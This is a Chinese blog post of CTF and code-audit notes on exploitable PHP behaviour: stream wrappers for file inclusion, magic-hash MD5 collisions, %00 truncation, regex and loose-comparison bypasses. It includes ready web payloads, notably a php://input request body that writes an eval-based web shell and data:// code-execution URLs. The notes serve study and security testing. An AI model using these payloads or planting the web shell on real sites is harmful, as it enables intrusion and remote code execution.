代码审计的一些常用有漏洞函数总结


最近做了一些题,利用到了一些函数,方法。因此总结一下。

strcmp()

strcmp(str1,str2)
if (str1>str2)   return 正数
if (str1<str2)   return 负数
if (str1=str2)   return 0

in_array()

php伪协议

file://协议
条件:

allow_url_fopen:off/on
allow_url_include :off/on

用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopenallow_url_include的影响。
例子:

绝对路径:
http://xxx/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
相对路径:
http://xxx/include.php?file=./phpinfo.txt

php://协议
条件:

allow_url_fopen:off/on
allow_url_include :仅php://input php://stdin php://memory php://temp 需要on

在CTF中经常使用的是php://filterphp://inputphp://filter用于读取源码,php://input用于执行php代码。
例子:

php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

php://input + [POST DATA]执行php代码
若有写入权限,写入一句话木马
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

zip:// & bzip2:// & zlib:// 协议
条件:

allow_url_fopen:off/on
allow_url_include :off/on

zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。
例子:

zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]#编码为%23)
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
http://xxx/include.phpfile=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
http://xxx/include.phpfile=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

compress.zlib://file.gz
压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

data:// 协议
条件:

allow_url_fopen:on
allow_url_include :on

自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
例子:

data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

http:// & https:// 协议
条件:

allow_url_fopen:on
allow_url_include :on

常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。
例子:

http://xxx/include.php?file=http://xxx/phpinfo.txt

phar:// 协议
phar://协议与zip://类似,同样可以访问zip格式压缩包内容
例子:

http://127.0.0.1/include.phpfile=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

另外在 Black Hat 2018 大会上,研究人员公布了一款针对PHP应用程序的全新攻击技术:phar://协议对象注入技术。

MD5比较漏洞

php有时会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

同时md5 和 sha1 无法处理数组,返回 NULL

if(@md5($_GET['a']) == @md5($_GET['b']))
{
    echo "yes";
}
//http://127.0.0.1/1.php?a[]=1&b[]=2

ereg函数漏洞:%00截断

ereg()限制password的格式,只能是数字或者字母。但ereg()函数存在NULL截断漏洞,可以使用%00绕过验证。

%00截断及遇到%00则默认为字符串的结束
1e9=1000000000
e一定是小写

preg_match

如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题

<?php

$ip = '1.1.1.1 abcd'; // 可以绕过

if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
  die('error');
} else {
   echo('key...');
}
?>

字符串比较

<?php  
echo 0 == 'a' ;// 0=a    重点注意

// 十六进制与整数,被转换为同一进制比较
// 0x 开头会被当成16进制54975581388的16进制为 0xccccccccc
'0xccccccccc' == '54975581388' ;

// 字符串在与数字比较前会自动转换为数字,如果不能转换为数字会变成0,即为第一条
1 == '1';
1 == '01';
10 == '1e1';
'100' == '1e2' ;    

// 十六进制数与带空格十六进制数,被转换为十六进制整数
'0xABCdef'  == '     0xABCdef';
echo '0010e2' == '1e3';

// 0e 开头会被当成数字,又是等于 0*10^xxx=0
// 如果 md5 是以 0e 开头,在做比较的时候,可以用这种方法绕过
'0e509367213418206700842008763514' == '0e481036490867661113260034900752';
'0e481036490867661113260034900752' == '0' ;

var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
?>

php全局变量

看到这个页面

include "flag1.php"; 
highlight_file(__file__); 
if(isset($_GET['args'])){ 
    $args = $_GET['args']; 
    if(!preg_match("/^\w+$/",$args)){ 
        die("args error!"); 
    } 
    eval("var_dump($$args);"); 
} 

看到$$args知道可以传全局变量给这个可变变量因此构造

http://xxx.com/?args=GLOBAL

目前总结了这些,欢迎大家补充。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值